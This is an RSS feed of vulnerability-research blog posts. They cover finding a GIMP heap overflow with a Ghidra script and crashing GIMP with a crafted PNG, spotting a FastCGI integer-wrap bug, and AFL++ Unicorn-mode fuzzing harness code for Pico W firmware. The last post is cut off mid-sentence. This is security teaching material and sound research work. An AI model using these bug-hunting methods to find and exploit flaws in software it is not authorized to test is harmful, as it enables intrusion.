<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Craig Young on Medium]]></title>
        <description><![CDATA[Stories by Craig Young on Medium]]></description>
        <link>https://medium.com/@cy1337?source=rss-58f190e710ff------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*dmbNkD5D-u45r44go_cf0g.png</url>
            <title>Stories by Craig Young on Medium</title>
            <link>https://medium.com/@cy1337?source=rss-58f190e710ff------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 24 Nov 2026 04:20:01 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@cy1337/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[GIMP Heap Overflow Re-Discovery and Exploitation (CVE-2025–6035)]]></title>
            <link>https://medium.com/@cy1337/malloc-overflow-deep-dive-9357eeef416b?source=rss-58f190e710ff------2</link>
            <guid isPermaLink="false">https://medium.com/p/9357eeef416b</guid>
            <category><![CDATA[exploitation]]></category>
            <category><![CDATA[ghidra]]></category>
            <category><![CDATA[vulnerability]]></category>
            <category><![CDATA[integer-overflow]]></category>
            <category><![CDATA[security]]></category>
            <dc:creator><![CDATA[Craig Young]]></dc:creator>
            <pubDate>Sat, 14 Jun 2025 16:03:50 GMT</pubDate>
            <atom:updated>2025-06-14T16:06:37.387Z</atom:updated>
            <content:encoded><![CDATA[<p>Back in April, I <a href="https://medium.com/@cy1337/tracing-data-flow-with-pcode-f879278d9fc1">shared a walkthrough</a> on how to make a <a href="https://github.com/cy1337/MallocOvfChecker/blob/main/MallocOvfChecker.py">Ghidra script</a> for spotting suspicious malloc calls. I then put that script to the test in <a href="https://medium.com/@cy1337/spotting-cve-2025-23016-with-ghidra-533a084dac42">my last post</a> by using it to analyze a known vulnerable program. One of the common questions that came up from this, and one of the things I’ll be <a href="https://www.blackhat.com/us-25/training/schedule/index.html#a-bug-hunters-guide-to-binaries-and-firmware-44441">reviewing at Black Hat</a> in far more detail, is how to evaluate the findings from this (and other) scripts. The script flagged 6 sketchy malloc calls but I jumped directly to the one <a href="https://www.synacktiv.com/en/publications/cve-2025-23016-exploiting-the-fastcgi-library">identified by Synacktiv</a> by recognizing the function name rather than by examining each call site. I will again put the script to the test against a real world vulnerability but this time I’ll go into more detail by fully confirming exploitability of a recently discovered vulnerability.</p><h3>Target Selection</h3><p>I starting by asking an LLM to find a good example:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*wmEF-8mZbeOHXz2UGEbC4w.png" /><figcaption>Finding a Target with an LLM</figcaption></figure><p>This looks like a reasonable candidate and so I pulled down a vulnerable Ubuntu package and cracked it open to find the vulnerable program file:</p><pre>$ apt download gimp=2.10.36-3build3 &amp;&amp; dpkg-deb -x gimp*.deb ./vuln</pre><h3>Analyzing the GIMP Plug-In</h3><p>I found the vulnerable <em>despeckle </em>plugin in <em>./vuln/usr/lib/gimp/2.0/plug-ins/despeckle/despeckle</em>. I loaded this program into Ghidra, analyzed it, and ran my script and received this console output:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/312/1*nfws2DL2vVcUAVV_j0QULw.png" /><figcaption>Console Error for Missing malloc</figcaption></figure><p>The reason for this is that GIMP uses glib and so rather than <em>malloc</em>, we need the script to look for calls to <em>g_malloc </em>as shown with this update:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*IOv-P500PPWjm-lPRd2JBw.png" /><figcaption>Updating the script to look for <strong>g_malloc</strong></figcaption></figure><p>Re-running the script with that change in place gives us a short list of 4 potentially suspicious <em>g_malloc</em> calls:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/254/1*H2zm8IRIdnzIabhPcZn_HA.png" /><figcaption>Suspicious <strong>g_malloc</strong> Calls</figcaption></figure><h3>Reviewing Findings</h3><p>My next step from here is to load the Decompile plugin and then jump to the first location:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*A3tA---vbuYLy_UecObgBA.png" /><figcaption>Decompile view at suspicious <strong>g_malloc</strong></figcaption></figure><p>The questionable <em>g_malloc</em> calls use <em>lVar9</em> which we can see was calculated by multiplying 3 other variables:</p><pre>  lVar9 = (long)(iVar1 * iVar3 * iVar4);<br>  uVar7 = g_malloc(lVar9);<br>  uVar8 = g_malloc(lVar9);</pre><p>We can also see in this screenshot that <em>iVar1</em> and <em>iVar3</em> are assigned from struct members of a parameter to the function. The parameter is passed as the first argument to an external function <em>gimp_preview_get_position</em>. From the <a href="https://developer.gimp.org/api/2.0/libgimpwidgets/GimpPreview.html">GIMP Developer docs</a>, you can find that the first argument to this is a <em>GimpPreview</em>. With more analysis it should be possible to figure out what values these offsets reference (without looking at source code). One option would be to test under a debugger. Another option is to hunt for other references to this struct offset and then look for log messages or downstream usage to infer what the member variable is.</p><p>In this situation, I typically would make a note that these two findings look promising but then move on to analyze the next finding at <em>00104575</em>:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xrV4kmFr4yX57RgX5UFCDQ.png" /><figcaption>Decompile at next suspicious <strong>g_malloc </strong>calls</figcaption></figure><p>This time we see two more <em>g_malloc</em> calls where the size parameter is calculated from multiplication. Using cursor text highlighting in Ghidra, we can quickly see that these were likely set by an external function <em>gimp_drawable_mask_intersect</em>:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OiurfpnH2rxOTtLoQLu61A.png" /><figcaption>Tracing the variables with cursor highlighting</figcaption></figure><p>Looking up the <a href="https://developer.gimp.org/api/3.0/libgimp/method.Drawable.mask_intersect.html">documentation for this library call</a>, we see:</p><pre>gboolean<br>gimp_drawable_mask_intersect (<br>  GimpDrawable* drawable,<br>  gint* x,<br>  gint* y,<br>  gint* width,<br>  gint* height<br>)</pre><p>And so from this, we can recognize that arguments 4 and 5 represent <em>width</em> and <em>height</em>. It’s also worth noting that the third factor in this multiplication came from <em>babl_format_get_bytes_per_pixel</em>. This makes sense in context because the application would want to calculate how many bytes to allocate based on the number of pixels (height times width) times the number of bytes per pixel.</p><h3>The Bigger Picture</h3><p>If you look back at the earlier <em>g_malloc</em> calls, they also followed the same format of multiplying two numbers with the bytes per pixel value. It’s not unreasonable to think the values feeding in are actually height and width again. It seems likely that heap memory corruption would result from running this plug-in on an image with a very large canvas. That being said, there could certainly be a variety of factors which complicate or even make this type of bug impossible to exploit. A question to ask in this case is whether the software would even be able to handle such a big drawable area so as to be able to trigger this bug.</p><h3>Proof of Concept Testing</h3><p>To answer this question, I turned once again to the LLM and this time asked it to generate a Python script to produce a PNG file with crafted dimensions. I opened the resulting file from GIMP for Windows and it opened without issue allowing me to apply the Despeckle enhancement filter:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*Nm1-MW4myGyJ8KJ42fEGWQ.png" /><figcaption>Can you enhance that?</figcaption></figure><p>This lead to a modal window to configure the filter:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/272/1*SB-vjFbR7UeTq58ndqp8JA.png" /><figcaption>Despeckle Plugin Modal</figcaption></figure><p>After clicking ok on that dialog and then clicking again on the canvas, I got my crash:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/418/1*b9E53EnhVpAzVoVM0QjN4g.png" /><figcaption>GIMP Crash from the PoC File</figcaption></figure><h3>Conclusions</h3><p>Most samples are not quite as straightforward as this one, but the general idea, when evaluating results from this malloc checker, is to trace back through the arithmetic inputs looking for bounds checks and considering whether the input is attacker controllable (e.g. tainted). Sometimes there will be practical limits which make it impossible to overflow a variable. A common example of this is when a <em>strlen</em> values are added to compute an allocation size. While technically exploitable, this may require actually supplying many GB of input data which is often impractical.</p><p>If you find this kind of analysis interesting and would like to learn more about my techniques for analyzing compiled programs and firmware, I would encourage you to join me this summer in Las Vegas at one of my upcoming <a href="https://www.blackhat.com/us-25/training/schedule/#a-bug-hunters-guide-to-binaries-and-firmware-444411736890494">Black Hat USA training sessions</a> (or <a href="https://www.blackhat.com/us-25/training/schedule/index.html#a-bug-hunters-guide-to-binaries-and-firmware-44441">Sat/Sun</a>). During these intensive two-day sessions, I will walkthrough examples like this while giving students time to explore on their own and ask questions. More examples from my training material can be found on my <a href="https://medium.com/@cy1337">Medium</a> and <a href="https://github.com/cy1337">GitHub</a> profiles under cy1337.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9357eeef416b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Spotting CVE-2025–23016 with Ghidra]]></title>
            <link>https://medium.com/@cy1337/spotting-cve-2025-23016-with-ghidra-533a084dac42?source=rss-58f190e710ff------2</link>
            <guid isPermaLink="false">https://medium.com/p/533a084dac42</guid>
            <category><![CDATA[ghidra]]></category>
            <category><![CDATA[exploit]]></category>
            <category><![CDATA[reverse-engineering]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[vulnerability-assessment]]></category>
            <dc:creator><![CDATA[Craig Young]]></dc:creator>
            <pubDate>Sun, 08 Jun 2025 20:37:44 GMT</pubDate>
            <atom:updated>2025-06-08T20:37:44.936Z</atom:updated>
            <content:encoded><![CDATA[<p>Earlier this year I shared a preview from my upcoming class in which we construct a Ghidra script to find potentially vulnerable heap allocations. Specifically, it uses PCode to trace arguments to malloc and flag calls if the size parameter was calculated from a variable. This can lead to an undersized buffer and subsequent memory corruption if the proper precautions are not taken to detect wraparound. This is a pretty common scenario and so I was not at all surprised today when I saw <a href="https://www.synacktiv.com/en/publications/cve-2025-23016-exploiting-the-fastcgi-library">a recent post from Synacktiv with an example of this exact thing in FastCGI</a>. As I was reading, it occurred to me that this would be a great opportunity to test out the script I published back in April against a real-world vulnerability. Assuming my script flags the call, it will be a great validation of its usefulness. If it’s missed, it could help shed light on potential improvements.</p><p>The <a href="https://github.com/FastCGI-Archives/fcgi2/issues/67">GitHub issue related to this vulnerability</a> has been closed but the <a href="https://github.com/FastCGI-Archives/fcgi2/pull/77">associated PR is still open</a> so we should be able to spot the sketchy malloc call in ReadParams by compiling from the master branch and loading the result into Ghidra.</p><p>For this test, I cloned <a href="https://github.com/FastCGI-Archives/fcgi2.git">https://github.com/FastCGI-Archives/fcgi2.git</a> and followed the instructions for building. (Current commit is df0c75b.) After loading the program into Ghidra and running the <a href="https://github.com/cy1337/MallocOvfChecker/blob/main/MallocOvfChecker.py">MallocOvfChecker.py</a>, I had a short list of sketchy malloc calls. The malloc called out by Synacktiv is halfway down a list of 6 malloc calls:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*rkuasQFAeF3n6G-_FWCn7g.png" /></figure><p>As described by Synacktiv, the math leading into the size calculation (line 46) can wrap leading it to allocate far fewer bytes than needed to store the parameter. The resulting heap memory corruption can potentially lead to remote code execution.</p><p><strong>Diving Deeper</strong></p><p>Please comment on this post or ping me on social media if you have any questions or topic requests. You can also sign-up for one of my 2-day Black Hat training sessions which equip students with hands-on experience developing and using custom vulnerability research tools. A description of the 2025 course is available on the <a href="https://www.blackhat.com/us-25/training/schedule/#a-bug-hunters-guide-to-binaries-and-firmware-444411736890494">Black Hat schedule page</a>.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=533a084dac42" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Finding Heap Overflows with AFL++ Unicorn Mode]]></title>
            <link>https://medium.com/@cy1337/finding-heap-overflows-with-afl-unicorn-mode-18e85d571c0f?source=rss-58f190e710ff------2</link>
            <guid isPermaLink="false">https://medium.com/p/18e85d571c0f</guid>
            <category><![CDATA[fuzzing]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[embedded-systems]]></category>
            <category><![CDATA[vulnerability-assessment]]></category>
            <dc:creator><![CDATA[Craig Young]]></dc:creator>
            <pubDate>Sun, 18 May 2025 12:45:49 GMT</pubDate>
            <atom:updated>2025-05-18T12:45:49.093Z</atom:updated>
            <content:encoded><![CDATA[<p>In my last post, I demonstrated a basic approach to fuzzing an RTOS firmware using AFL++’s Unicorn mode. The provided firmware for that exercise was relatively simple so that we could focus on the basics. In this post, I will introduce a slightly more complicated example and how to deal with the complications it introduces. Specifically, this firmware will complicate things by using dynamic memory and making access to OS and hardware features not under emulation. We will handle this by hooking various functions and replacing or short-circuiting their logic in Python. The demo firmware in <a href="https://github.com/cy1337/afl_unicorn_heap/blob/main/malloc_example.elf">malloc_example.elf</a> configures the Pico W as a Wifi access point. After connecting, there is an HTTP endpoint for controlling the onboard LED exposed at <a href="http://192.168.4.1/fuzzy.cgi">http://192.168.4.1/fuzzy.cgi</a> which accepts base64 encoded data through the query parameter data. As with the last example, this firmware contains symbols so we can focus on the mechanics of fuzzing rather than reversing. The target function is again process_payload which parses the input as a TLV-stream expressing commands for manipulating the on-board lights.</p><p>Resources for this exercise have been posted to GitHub under <a href="https://github.com/cy1337/afl_unicorn_heap">cy1337/afl_unicorn_heap</a>.</p><h3>New Firmware</h3><p>If you try to run the <a href="https://github.com/cy1337/basic_afl_unicorn/blob/main/pico_w_fuzz_example.py">script from last time</a> with this <a href="https://github.com/cy1337/afl_unicorn_heap/blob/main/malloc_example.elf">new ELF</a>, you will get the following:</p><pre>[INFO] Function &#39;process_payload&#39; @ 0x100004ed<br>[INFO] Identified return &#39;bx lr&#39; @ 0x10000ee0<br>[INFO] Starting AFL loop starting @ 0x100004ed with exit @ 0x10000ee0<br>Aborted</pre><p>If you enable debugging (e.g. by setting AFL_DEBUG=1) you can see which instructions executed before the abort:</p><pre>$ AFL_DEBUG=1 python3 ./pico_w_fuzz_example.py in/1<br>[INFO] Function &#39;process_payload&#39; @ 0x100004ed<br>[INFO] Identified return &#39;bx lr&#39; @ 0x10000ee0<br>[DEBUG] Mapped segment: addr=0x10000000 size=0x5d000 perms=5<br>[DEBUG] Mapped segment: addr=0x20000000 size=0x30000 perms=7<br>[DEBUG] Failed mapping at 0x20000000: Invalid memory mapping (UC_ERR_MAP)<br>[DEBUG] Mapped segment: addr=0x20040000 size=0x1000 perms=3<br>[INFO] Starting AFL loop starting @ 0x100004ed with exit @ 0x10000ee0<br>[u] [0.000034] Entering uc_afl_fuzz with input_file=in/1 and persistent_iters=1<br>[u] [0.000078] SHARED MEMORY FUZZING Feature is not enabled.<br>[u] [0.000136] fksrv_start returns 3<br>[DEBUG] Injecting input (2 bytes)<br>[DEBUG] Executing @ 0x100004ec (size=2)<br>[DEBUG] Executing @ 0x100004ee (size=2)<br>[DEBUG] Executing @ 0x100004f0 (size=2)<br>[DEBUG] Executing @ 0x100004f2 (size=2)<br>[DEBUG] Executing @ 0x100004f4 (size=2)<br>[DEBUG] Executing @ 0x100004f6 (size=2)<br>[DEBUG] Executing @ 0x100004f8 (size=2)<br>[DEBUG] Executing @ 0x100004fa (size=2)<br>[DEBUG] Executing @ 0x100004fc (size=2)<br>[DEBUG] Executing @ 0x100004fe (size=2)<br>[DEBUG] Executing @ 0x10000500 (size=2)<br>[DEBUG] Executing @ 0x10000502 (size=2)<br>[DEBUG] Executing @ 0x10000504 (size=2)<br>[DEBUG] Executing @ 0x10000506 (size=2)<br>[DEBUG] Executing @ 0x10000508 (size=2)<br>[DEBUG] Executing @ 0x1000050a (size=2)<br>[DEBUG] Executing @ 0x1000050c (size=2)<br>[DEBUG] Executing @ 0x10000586 (size=2)<br>[DEBUG] Executing @ 0x10000588 (size=2)<br>[DEBUG] Executing @ 0x1000058a (size=2)<br>[DEBUG] Executing @ 0x1000058c (size=2)<br>[DEBUG] Executing @ 0x1000058e (size=2)<br>[DEBUG] Executing @ 0x10000590 (size=2)<br>[DEBUG] Executing @ 0x10000592 (size=2)<br>Aborted</pre><h3>Using Capstone Disassembly</h3><p>In order to help troubleshoot this further, we will first update the script to print disassembled instructions. We can do this by creating an instance of Capstone configured to decode ARM Thumb mode instructions. We can then add debug logging to hook_code with disassembly. Initializing Capstone is as follows:</p><pre>from capstone import Cs, CS_ARCH_ARM, CS_MODE_THUMB<br>cs = Cs(CS_ARCH_ARM, CS_MODE_THUMB)<br>cs.detail = True</pre><p>Then in the hook_code function, we use uc.mem_read(address, size) to read the instruction. It is disassembled with cs.disasm and printed:</p><pre>def hook_code(uc, address, size, user_data):<br>    debug(&quot;Executing @ 0x%08x (size=%d)&quot;, address, size)<br>    if logging.getLogger().getEffectiveLevel() == logging.DEBUG:<br>        instruction_bytes = uc.mem_read(address, size)<br>        for insn in cs.disasm(instruction_bytes, address):<br>            debug(&quot;\tInstruction: %s %s&quot;, insn.mnemonic, insn.op_str)<br>    return True</pre><p>With these two changes in place, running the script again (with AFL_DEBUG=1) shows:</p><pre>[DEBUG] Executing @ 0x10000592 (size=2)<br>[DEBUG]         Instruction: pop {r3, r4, r5, r6, r7, pc}<br>Aborted</pre><h3>Cortex-M Function Returns</h3><p>At this point, it should be clear that this was actually a return since pc is taking a value from the stack. In the simple example our function returned with a basic bx lr instruction. The more complicated fuzz target makes use of nested functions such that the register lr had to be pushed to the stack. The logic for finding a stop point to the fuzz is broken. In order to continue, we could hardcode the function exit at this address (0x10000592) but for the sake of learning, let&#39;s instead update the script to dynamically locate a good stop address for the fuzz. In order to do this, we can use Capstone to iterate over each instruction looking for bx lr or a pop to pc. This is done by reading in the text section of the program and feeding that through Capstone:</p><pre>def find_return_address(elf_path, func_addr):<br>    &quot;&quot;&quot;<br>    Find the first return instruction (either &#39;bx lr&#39; or &#39;pop {..., pc}&#39;) after func_addr in the .text section.<br>    Returns the virtual address of the instruction.<br>    &quot;&quot;&quot;<br>    with open(elf_path, &#39;rb&#39;) as f:<br>        elffile = ELFFile(f)<br>        text_sec = elffile.get_section_by_name(&#39;.text&#39;)<br>        if not isinstance(text_sec, Section):<br>            raise RuntimeError(&quot;.text section not found in ELF&quot;)<br>        <br>        base = text_sec[&#39;sh_addr&#39;]<br>        data = text_sec.data()<br>        start_offset = func_addr - base - 1<br>        <br>        section_data = data[start_offset:]<br>        current_addr = func_addr &amp; ~1  # Clear thumb bit if set<br>        <br>        try:<br>            for insn in cs.disasm(section_data, current_addr):<br>                if (insn.mnemonic == &quot;bx&quot; and insn.op_str == &quot;lr&quot;) or (insn.mnemonic == &quot;pop&quot; and &quot;pc&quot; in insn.op_str.lower()):<br>                    debug(&quot;Found exit at 0x%x&quot;, insn.address)<br>                    return insn.address<br>                    <br>        except Exception as e:<br>            debug(&quot;Disassembly error: %s&quot;, str(e))<br>            <br>        raise RuntimeError(f&quot;No return instruction found after 0x{func_addr:08x}&quot;)</pre><p>With that change in place we can now fuzz through the function but we very quickly get a crash:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*ENqtBW528Zd0wLO5fhshpg.png" /></figure><h3>Memory Dependencies</h3><p>In order to evaluate the crash we can run the faulting testcase through a single execution with debugging enabled, we can see where it failed (e.g. run the script with AFL_DEBUG=1 but natively rather than under afl-fuzz):</p><pre>[DEBUG] Executing @ 0x1001d210 (size=2)<br>[DEBUG]         Instruction: ldr r0, [r3]<br>Aborted</pre><p>If you analyze (e.g. in Ghidra) around that instruction you would find that this is within the call tree for __wrap_malloc (and __wrap_free):</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/604/1*COLAKGI-5r5Xhz3JrBpfjw.png" /></figure><p>A review of the decompiled function reveals that this failure happens because the malloc implementation attempts to dereference a pointer from the FreeRTOS task structure that we haven’t initialized in the emulator. This is why, when available, I like to load a memory dump from the real device into my emulator when initializing the fuzz. Examples of how to do this are in the AFL++ <a href="https://github.com/AFLplusplus/AFLplusplus/tree/stable/unicorn_mode/helper_scripts">unicorn_mode/helper_scripts</a> but for this example, we are going to instead replace the malloc implementation with some Python code that will also allow us to catch subtle memory safety issues.</p><h3>A New Heap</h3><p>To make this work, we map a new memory region for heap, 0x30000000 - 0x300100000, create a Python class HeapManager to track allocations within the space. It is important to reserve space between heap allocations so that there are ranges of unused addresses (e.g. guard pages) we can monitor to recognize memory safety issues. This is plumbed in by using the uc.hook_add method to register a python function to run when a specific instruction address executes.</p><pre>uc.hook_add(UC_HOOK_CODE, hook_malloc_wrapper, begin=malloc_addr, end=malloc_addr+2)</pre><p>The hook function itself then looks like:</p><pre>def hook_malloc_wrapper(uc, address, size, user_data):<br>        malloc_hook(uc, heap)<br>        # Skip the actual function<br>        uc.reg_write(UC_ARM_REG_PC, uc.reg_read(UC_ARM_REG_LR))</pre><p>The actual allocation happens then in malloc_hook:</p><pre>def malloc_hook(uc, heap):<br>    size = uc.reg_read(UC_ARM_REG_R0)<br>    addr = heap.malloc(size)<br>    uc.reg_write(UC_ARM_REG_R0, addr)<br>    debug(&quot;malloc(%d) = 0x%x&quot;, size, addr)</pre><p>You can see there that the argument for malloc is read from register r0 per the convention for this architecture. A similar hook is implemented for freeing allocations and we also add hooks to examine memory access so we can catch OOB access:</p><pre>uc.hook_add(UC_HOOK_MEM_READ, hook_mem_access, user_data=heap)<br>    uc.hook_add(UC_HOOK_MEM_WRITE, hook_mem_access, user_data=heap)</pre><p>On each read or write, we are checking if the address is within the heap range and, if so, using HeapManager.check_access to match the address up against current allocations. The hook sends a SEGV signal to trigger a crash if anything tries to access an address within one of the guard pages.</p><p>The implementation for that is as follows:</p><pre>def hook_mem_access(uc, access, address, size, value, user_data):<br>    heap = user_data<br>    if HEAP_ADDR &lt;= address &lt; HEAP_ADDR + HEAP_SIZE:<br>        if not heap.check_access(address, size, access == UC_HOOK_MEM_WRITE):<br>            # Invalid access, signal crash to AFL<br>            debug(&quot;Unsafe memory access detected at 0x%x, crashing...&quot;, address)<br>            os.kill(os.getpid(), signal.SIGSEGV)<br>            return True<br>    return True</pre><p>AFL++ also provides an example heap implementation in the repo under <a href="https://github.com/AFLplusplus/AFLplusplus/blob/c47221db7cc9b56e3c325d3a9c61863e7369e158/unicorn_mode/helper_scripts/unicorn_loader.py#L54">unicorn_mode/helper_scripts/unicorn_loader.py</a>.</p><h3>Adding More Hooks</h3><p>With this heap checking logic in place, the next thing we find when returning to fuzz is that memcpy is also dependent on some memory we didn&#39;t initialize. Presumably this pointer would have been configured at runtime so our options are to either consult with a live system (e.g. via gdb) or we can once again implement the logic we need within Python. To implement memcpy we pull the arguments from registers r0-r2 and then use the size from r2 to read from the address in r1 and write that data to the address in r0:</p><pre>def memcpy_hook(uc, heap):<br>    dst = uc.reg_read(UC_ARM_REG_R0)<br>    src = uc.reg_read(UC_ARM_REG_R1)<br>    size = uc.reg_read(UC_ARM_REG_R2)<br>    <br>    debug(&quot;memcpy(dst=0x%x, src=0x%x, size=%d, size_type=%s)&quot;, dst, src, size, type(size))<br>    <br>    try:<br>        # The memory hooks will validate the access<br>        data = uc.mem_read(src, int(size))<br>        uc.mem_write(dst, bytes(data))<br>    except Exception as e:<br>        debug(&quot;memcpy: Memory access error: %s&quot;, str(e))<br>        debug(&quot;size type: %s, value: %r&quot;, type(size), size)<br>        os.kill(os.getpid(), signal.SIGSEGV)<br>        return<br>    <br>    # Set return value to destination address (per memcpy spec)<br>    uc.reg_write(UC_ARM_REG_R0, dst)</pre><p>Continue with the fuzz from here and you’ll find some other functions that we can’t or even don’t want to emulate and will need to patch out. We do this by adding hooks to log that the function was called and then jump back to lr to resume the calling function. In the completed example on GitHub, you&#39;ll see that I&#39;ve done this for cyw43_gpio_set which is backed by hardware and sleep_ms which relies on support from the kernel that is not running in our fuzz. (Sleeping is also is generally undesirable for fuzzing anyway of course.)</p><h3>Fuzzing Results</h3><p>With all these pieces in place, the fuzzer should report crashes quite quickly:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*v4-hHrTePbQeD715j2TnCw.png" /></figure><p>You can test this for yourself with the completed sample script <a href="https://github.com/cy1337/afl_unicorn_heap/blob/main/pico_w_malloc_fuzz_example.py">pico_w_malloc_fuzz_example.py</a>.</p><p>If you run the crashing testcase through the script with AFL_DEBUG=1, you can see that it has triggered our heap memory protection:</p><pre>[DEBUG] Invalid read access at 0x30000008<br>[DEBUG] Unsafe memory access detected at 0x30000008, crashing...<br>Segmentation fault</pre><h3>Upcoming Class</h3><p>This repo contains an introduction to using AFL++ Unicorn mode. For a deep dive into this and a handful of other bug hunting techniques, please consider joining me at Black Hat USA 2025 for A Bug Hunters Guide to Binaries and Firmware. In general, this class equips students for bug hunting using freely available tools. On the first day, we will author a few Ghidra scripts (<a href="https://medium.com/@cy1337/vulnerability-analysis-with-ghidra-scripting-ccf416cfa56d">example 1</a>, <a href="https://medium.com/@cy1337/tracing-data-flow-with-pcode-f879278d9fc1">example 2</a>) for directly finding vulnerabilities as well as a few scripts which leverage our reversing efforts by automating integration with external tools like Frida or GDB (<a href="https://medium.com/@cy1337/a-basic-guide-to-discovering-attack-surface-with-ghidra-and-gdb-370e2c08e4c1">example</a>). Similar to last year, on the second day we will focus on AFL++ fuzzing of compiled Linux programs (<a href="https://medium.com/@cy1337/a-basic-guide-to-afl-qemu-495df504b5fb">example</a>) as well as embedded systems. This class leverages my years of experience teaching students at Black Hat and other events on how to get the most out of Ghidra as well as my years of experience finding and reporting vulnerabilities.</p><p>If you or your team would like to get the most out of your time at Black Hat USA, please consider signing up for <a href="https://www.blackhat.com/us-25/training/schedule/#a-bug-hunters-guide-to-binaries-and-firmware-444411736890494">A Bug Hunters Guide to Binaries and Firmware</a>.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=18e85d571c0f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[A Basic Guide to Fuzzing with AFL++ Unicorn Mode]]></title>
            <link>https://medium.com/@cy1337/a-basic-guide-to-fuzzing-with-afl-unicorn-mode-f0619ce0bff4?source=rss-58f190e710ff------2</link>
            <guid isPermaLink="false">https://medium.com/p/f0619ce0bff4</guid>
            <category><![CDATA[embedded-systems]]></category>
            <category><![CDATA[fuzzing]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[vulnerability-research]]></category>
            <category><![CDATA[tor]]></category>
            <dc:creator><![CDATA[Craig Young]]></dc:creator>
            <pubDate>Sun, 04 May 2025 13:23:56 GMT</pubDate>
            <atom:updated>2025-08-04T13:39:27.211Z</atom:updated>
            <content:encoded><![CDATA[<h3>Getting Started with Fuzzing FreeRTOS Firmware</h3><p>Fuzzing is an essential technique in finding vulnerabilities in software by providing invalid, unexpected data inputs to the targeted application. In this blog post, we will demonstrate how to fuzz a function from a Raspberry Pi Pico-W FreeRTOS firmware using AFL++ Unicorn mode. The firmware analyzed in this post is <a href="https://github.com/cy1337/basic_afl_unicorn">available on GitHub</a>. The firmware contains a crackme built on top of the Raspberry Pi pico-examples Pico W example for FreeRTOS with httpd. I added a CGI handler for <em>/fuzzy.cgi</em> which base64 decodes a URL parameter (data) and passes it to a function <em>process_payload</em>.</p><p>The supplied ELF is complete with debug symbols to keep the focus of this post on fuzzing rather than reversing. You can find the example firmware and final fuzzing script on GitHub: <a href="https://github.com/cy1337/basic_afl_unicorn">https://github.com/cy1337/basic_afl_unicorn</a></p><h3>Introduction to AFL++ Unicorn Mode</h3><p>AFL++ Unicorn mode allows you to fuzz using Unicorn CPU emulation to instrument bare metal or RTOS applications running on a variety of platforms. It’s also lightweight enough that you can still get enough execs/sec to reasonably find bugs. This mode has come in handy for me on a few audits where traditional fuzzing approaches were not directly feasible due to either lack of source code or lack of tooling for a specific CPU architecture.</p><h3>Identifying a Target</h3><p>When looking for fuzz targets in an RTOS, we want to find functions that are relatively isolated. Things which take in some data and process it without switching contexts or making system calls are best. If you attend one of my classes, we’ll walk through how to handle these situations techniques for tracing tainted inputs and <a href="https://medium.com/@cy1337/a-basic-guide-to-discovering-attack-surface-with-ghidra-and-gdb-370e2c08e4c1">execution flow</a> to help select targets. For the sake of this blog however, we are starting from the point where an optimal candidate for fuzzing has already been identified. Specifically, the fuzz target here is called <em>process_payload</em> and it takes a pointer to a buffer along with the data length making it ideal for AFL++. In this script, we will simply read the symbol table to find the start of the function. We’ll also need to tell Unicorn where to stop. In this case, we’ll simply scan the file looking for the first <strong>bx lr</strong> instruction after the function offset. The Cortex-M using this instruction to return from a function to the function which called it. (The return address is commonly stored in the <strong>lr</strong> register for basic function calls.) This work is handled by functions <em>get_function_address</em> and <em>find_bx_lr_address</em> in the finished script. I won’t get into this in detail here but feel free to <a href="https://github.com/cy1337/basic_afl_unicorn">review the code</a> and reach out to me if you have any questions.</p><h3>Preparing for Emulation</h3><p>In order to fuzz with AFL++ Unicorn mode, we must next create a Unicorn script to load the supplied firmware and setup an emulated CPU to run through the fuzzed code. This requires defining, configuring, and loading CPU memory and registers. To begin, we must create an instance for Unicorn emulation of ARM in Thumb mode.</p><pre>uc = Uc(UC_ARCH_ARM, UC_MODE_THUMB)<br>uc.hook_add(UC_HOOK_CODE, hook_code)</pre><p>The script also creates a hook for getting called on each executed instruction. Having the ability to enable a debug mode for instruction tracing comes in handy when debugging and this leaves us open to easily mark bad instructions or interesting states. (A bad instruction in this case is anything Unicorn can’t emulate such as some CPU privilege switches used in RTOS code.) Since we are working with an ELF, the script here will use header information to arrange the binary segments into aligned memory mappings. Depending on your scenario, you may need to load this from debug memory dumps. My preferred approach is to attach GDB to a target with a 